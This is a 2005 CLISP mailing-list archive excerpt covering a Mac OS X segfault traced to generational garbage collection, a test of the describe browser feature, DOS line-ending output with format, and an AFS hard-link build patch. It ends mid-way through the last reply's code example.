> This seems to crash GDB... please report this bug to the gdb maintainers. they might be able to shed more light on the clisp crash also... -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.openvotingconsortium.org/ http://www.jihadwatch.org/ http://www.memri.org/ http://pmw.org.il/ Save your burned out bulbs for me, I'm building my own dark room. From johan@liseborn.se Tue Nov 22 14:16:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EegRW-0002RK-3G for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 14:16:50 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EegRS-0000WG-54 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 14:16:49 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2975088 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 23:16:39 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 14:17:21 2005 X-Original-Date: Tue, 22 Nov 2005 23:16:36 +0100 On Nov 22, 2005, at 23:09, Sam Steingold wrote: >> * Johan Liseborn [2005-11-22 23:01:23 +0100]: >> >>>> * "gcc -falign-functions=4 -g" >>> >>> good - please run under gdb and see why it segfaults. >> >> This seems to crash GDB... > > please report this bug to the gdb maintainers. > they might be able to shed more light on the clisp crash also... OK, will do. The stuff I reported in http://sourceforge.net/mailarchive/ message.php?msg_id=13943578 didn't help much either, I guess? -- Johan Liseborn From sds@gnu.org Tue Nov 22 15:28:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EehZL-0006FL-98 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 15:28:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EehZI-0006Mj-RO for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 15:28:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMNSHdw006557; Tue, 22 Nov 2005 18:28:25 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Johan Liseborn's message of "Tue, 22 Nov 2005 23:16:36 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 15:29:11 2005 X-Original-Date: Tue, 22 Nov 2005 18:27:18 -0500 > * Johan Liseborn [2005-11-22 23:16:36 +0100]: > > The stuff I reported in > http://sourceforge.net/mailarchive/message.php?msg_id=13943578 > didn't help much either, I guess? well, it's definitely valuable - to know that disabling all internal CLISP optimizations solves this issue. if you look at src/lispbibl.d, you will see #if SAFETY >= 3 #define NO_ASM #define NO_ARI_ASM #define NO_FAST_DISPATCH #endif it would be interesting to know which specific optimization (NO_ASM &c) is the culprit, so that we could add a note to unix/PLATFORMS saying something like "add NO_ARI_ASM to CFLAGS to compile on ... with ...". can you get us there? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.mideasttruth.com/ http://www.openvotingconsortium.org/ http://www.jihadwatch.org/ If you're being passed on the right, you're in the wrong lane. From johan@liseborn.se Wed Nov 23 06:13:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EevNV-0002mw-Di for clisp-list@lists.sourceforge.net; Wed, 23 Nov 2005 06:13:41 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EevNT-0005AY-Gs for clisp-list@lists.sourceforge.net; Wed, 23 Nov 2005 06:13:41 -0800 Received: from [62.119.82.130] (account mjl@liseborn.se HELO [10.0.1.162]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2976792 for clisp-list@lists.sourceforge.net; Wed, 23 Nov 2005 15:13:23 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 23 06:14:03 2005 X-Original-Date: Wed, 23 Nov 2005 15:13:16 +0100 On Nov 23, 2005, at 00:27, Sam Steingold wrote: > well, it's definitely valuable - to know that disabling all internal > CLISP optimizations solves this issue. > if you look at src/lispbibl.d, you will see > > #if SAFETY >= 3 > #define NO_ASM > #define NO_ARI_ASM > #define NO_FAST_DISPATCH > #endif > > it would be interesting to know which specific optimization (NO_ASM > &c) > is the culprit, so that we could add a note to unix/PLATFORMS saying > something like "add NO_ARI_ASM to CFLAGS to compile on ... with ...". > can you get us there? Seems that the problem is related to generational GC. I tried all combos of NO_ASM & co, everything leads to segfault. I then started looking for other places where SAFETY turns up, and after a number of failed attempts I came across this in lispbibl.d: # Flavor of the garbage collection: normal or generational. #if defined(VIRTUAL_MEMORY) && (defined(SINGLEMAP_MEMORY) || defined (TRIVIALMAP_MEMORY) || (defined(MULTIMAP_MEMORY) && (defined (UNIX_LINUX) || defined(UNIX_FREEBSD)))) && defined (HAVE_WORKING_MPROTECT) && defined(HAVE_SIGSEGV_RECOVERY) && !defined (UNIX_IRIX) && !defined(WIDE_SOFT_LARGEFIXNUM) && (SAFETY < 3) && ! defined(NO_GENERATIONAL_GC) # "generational garbage collection" has some requirements. # With Linux, it will only work with 1.1.52, and higher, which will be checked in makemake. # On IRIX 6, it worked in the past, but leads to core dumps now. Reason unknown. FIXME! #define GENERATIONAL_GC #endif I added -DNO_GENERATIONAL_GC to CFLAGS ==> no segfault I guess something has happened between OS X 10.3 and 10.4, as there seems to be reports of CLISP working correctly on 10.3 (at least it is mentioned in unix/PLATFORMS). Unfortunately, I don't have access to any 10.3 systems for testing. -- Johan Liseborn From kavenchuk@jenty.by Thu Nov 24 05:00:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfGiR-0004FG-KR for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 05:00:43 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EfGiP-00024g-Vm for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 05:00:43 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT6KCFV; Thu, 24 Nov 2005 15:02:02 +0200 Message-ID: <4385B9DA.9020004@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 24 05:01:07 2005 X-Original-Date: Thu, 24 Nov 2005 15:02:18 +0200 Sam Steingold wrote: > 4. evaluate (describe 'nreverse) > this will open two broser windows: the CLHS page for NREVERSE and > impnotes page for NREVERSE. [3]> *browser* :DEFAULT [4]> (describe 'nreverse) NREVERSE is the symbol NREVERSE, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a ;; SYSTEM::GET-CLHS-MAP(#)...978/978 symbols function. ;; starting the default system browser with url "C:/CL/doc/HyperSpec/Body/f_revers.htm"...done ;; connecting to "http://www.podval.org/~sds/clisp/impnotes/id-href.map"... ;; *HTTP-PROXY*=("OFFICE_DOMAIN\\Kavenchuk_Yaroslav:" "oregon" 80) connected...HTTP/1.1 200 OK...64,722 bytes ;; SYSTEM::GET-STRING-MAP(#)...1,773 IDs ;; SYSTEM::ENSURE-IMPNOTES-MAP(#P"C:\\clisp-2.35\\data\\Symbol-Table.text")... WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "http-proxy" for symbol "EXT:HTTP-PROXY" WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "http-proxy" for symbol "CUSTOM:*HTTP-PROXY*" WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "base64" for symbol "EXT:BASE64-ENCODE" WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "base64" for symbol "EXT:BASE64-DECODE" 538 IDs ;; starting the default system browser with url "http://www.podval.org/~sds/clisp/impnotes/seq-dict.html#nreverse-nreconc" ...done # is the package named COMMON-LISP. It has 2 nicknames LISP, CL. It imports the external symbols of 1 package CLOS and exports 978 symbols to 16 packages ASDF, MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM. # is a built-in system function. Argument list: (ARG0). Ok. But both links open in one window :\ Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Nov 24 12:14:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfNUJ-0008Ny-14 for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 12:14:35 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EfNUF-0004dT-If for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 12:14:34 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 24 Nov 2005 15:14:29 -0500 X-IronPort-AV: i="3.97,373,1125892800"; d="scan'208"; a="132920180:sNHT22733940" To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Johan Liseborn's message of "Wed, 23 Nov 2005 15:13:16 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 24 12:15:04 2005 X-Original-Date: Thu, 24 Nov 2005 15:13:18 -0500 > * Johan Liseborn [2005-11-23 15:13:16 +0100]: > > > Seems that the problem is related to generational GC. thanks, I put a note into unix/PLATFORMS -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://www.savegushkatif.org http://pmw.org.il/ http://www.camera.org http://www.mideasttruth.com/ Illiterate? Write today, for free help! From rray@mstc.state.ms.us Thu Nov 24 13:36:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfOlh-0003m7-Rt for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 13:36:37 -0800 Received: from itspmx2.state.ms.us ([205.144.224.112]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EfOlg-0006q5-Lx for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 13:36:37 -0800 Received: from rray.drdc.mstc.ms.gov ([10.3.192.2]) by itspmx2.state.ms.us (8.13.4/8.13.4) with ESMTP id jAOLaLvW015398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Nov 2005 15:36:28 -0600 (CST) Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id jAOLaLqF026275 for ; Thu, 24 Nov 2005 15:36:21 -0600 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id jAOLaLud026272 for ; Thu, 24 Nov 2005 15:36:21 -0600 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Basic help with format Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 24 13:37:02 2005 X-Original-Date: Thu, 24 Nov 2005 15:36:21 -0600 (CST) I have a simple program that writes a file that needs to be in DOS format. How do I tell format to print a carriage-return and linefeed? This probably doesn't go on this list but you guys are the best Lisp help around. Thanks Richard From Devon@Jovi.Net Thu Nov 24 13:47:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfOwM-0004Nh-PF for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 13:47:38 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EfOwL-0002jP-Jn for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 13:47:38 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAOLlGMY075154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Nov 2005 16:47:18 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAOLlGoN075151; Thu, 24 Nov 2005 16:47:16 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511242147.jAOLlGoN075151@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Richard Ray CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Richard Ray on Thu, 24 Nov 2005 15:36:21 -0600 (CST)) Subject: Re: [clisp-list] Basic help with format References: X-Spam-Status: No, score=-3.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 24 Nov 2005 16:47:24 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 24 13:48:05 2005 X-Original-Date: Thu, 24 Nov 2005 16:47:16 -0500 (EST) I'm sure there's a better way but a quick hack is (format output-stream "~A~A" #\Return #\LineFeed) ugly but portable. One imagines there are open options, none of them portable. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From: Richard Ray To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Basic help with format Date: Thu, 24 Nov 2005 15:36:21 -0600 (CST) I have a simple program that writes a file that needs to be in DOS format. How do I tell format to print a carriage-return and linefeed? This probably doesn't go on this list but you guys are the best Lisp help around. Thanks Richard From Devon@Jovi.Net Thu Nov 24 20:59:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfVg7-0008PF-RK for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 20:59:19 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EfVg6-0005yM-9s for clisp-list@lists.sourceforge.net; Thu, 24 Nov 2005 20:59:20 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAP4wqvb026401 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Nov 2005 23:58:55 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAP4wmLT026396; Thu, 24 Nov 2005 23:58:48 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511250458.jAP4wmLT026396@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 15 Nov 2005 15:24:20 -0500) Subject: Re: [clisp-list] Re: clisp fails to build on Debian 3.1 References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151929.jAFJTs4s039689@grant.org> X-Spam-Status: No, score=-3.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 24 Nov 2005 23:59:04 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 24 21:00:00 2005 X-Original-Date: Thu, 24 Nov 2005 23:58:48 -0500 (EST) Install still fails with ... installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link ... because with AFS, some directories reject hard links. The best fix would be to test for hard link failure and fall back to copy, on a file by file basis. The patch given below has no effect. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote To: clisp-list@lists.sourceforge.net, Devon Sean McCullough From: Sam Steingold In-Reply-To: <200511151929.jAFJTs4s039689@grant.org> (Devon Sean McCullough's message of "Tue, 15 Nov 2005 14:29:54 -0500 (EST)") Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Date: Tue, 15 Nov 2005 15:24:20 -0500 > * Devon Sean McCullough [2005-11-15 14:29:54 -0500]: > > To be precise, change the definition of LN_HARD > > clisp-2.35/src/makemake.in > ... > # LN_HARD = command for copying files, saving disk space if possible > if [ "$HSYSOS" = beos ] ; then > # The BeOS 5 filesystem has only symbolic links, no hard links. > LN_HARD='cp -p' > else > LN_HARD='ln' > fi > ... > from 'ln' to something like 'LN_OR_CP' > which could be defined in bash as > > LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; } > > which should work even on AFS servers. oh I now see what you were talking about... please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.iris.org.il http://www.camera.org http://truepeace.org http://www.dhimmi.com/ http://www.savegushkatif.org Life is like a diaper -- short and loaded. --- makemake.in 11 Nov 2005 11:47:25 -0500 1.617 +++ makemake.in 15 Nov 2005 15:23:47 -0500 @@ -501,6 +501,7 @@ # srcdir='@srcdir@' # either '.' or '../src', see above CP='@CP@' # either 'cp -p' or 'cp' LN_S='@LN_S@' # either 'ln -s' or 'ln' + LN='@LN@' # either 'ln' or ${CP} HLN='@HLN@' # either 'ln' or 'hln' CC="@CC@" # either 'gcc -O' or 'cc' CPP="@CPP@" # either $CC' -E' or '/lib/cpp' @@ -913,14 +914,9 @@ fi # LN_HARD = command for copying files, saving disk space if possible -if [ "$HSYSOS" = beos ] ; then - # The BeOS 5 filesystem has only symbolic links, no hard links. - LN_HARD='cp -p' -else - LN_HARD='ln' -fi +LN_HARD=${LN-ln} -# LN = command for making hard links ($HOS = unix only) +# HLN = command for making hard links ($HOS = unix only) if [ "$HLN" = hln ] ; then HLN="${HERE}hln" fi From pjb@informatimago.com Fri Nov 25 01:08:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfZYu-00032L-Ad for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 01:08:08 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EfZYs-0007jd-25 for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 01:08:08 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 11006585E6; Fri, 25 Nov 2005 10:07:57 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CD39F586BF; Fri, 25 Nov 2005 10:07:53 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4A1B48872; Fri, 25 Nov 2005 10:07:51 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17286.54375.469476.166971@thalassa.informatimago.com> To: Richard Ray Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Basic help with format In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 01:09:00 2005 X-Original-Date: Fri, 25 Nov 2005 10:07:51 +0100 Richard Ray writes: > I have a simple program that writes a file that needs to be in DOS format. > How do I tell format to print a carriage-return and linefeed? > This probably doesn't go on this list but you guys are the best Lisp help > around. This is incorrect: (format output-stream "~A~A" #\Return #\LineFeed) the problem is that in clisp, (eql #\linefeed #\newline), therefore you can get TWO #\return issued with this format. The correct way to output DOS newlines is just to tell it to do so: (with-open-file (output-stream (make-pathname :name "EXAMPLE" :type "TXT") :external-format (ext:make-encoding :charset charset:CP850 :line-terminator :dos) :direction :output :if-exists :supersede :if-does-not-exist :create) 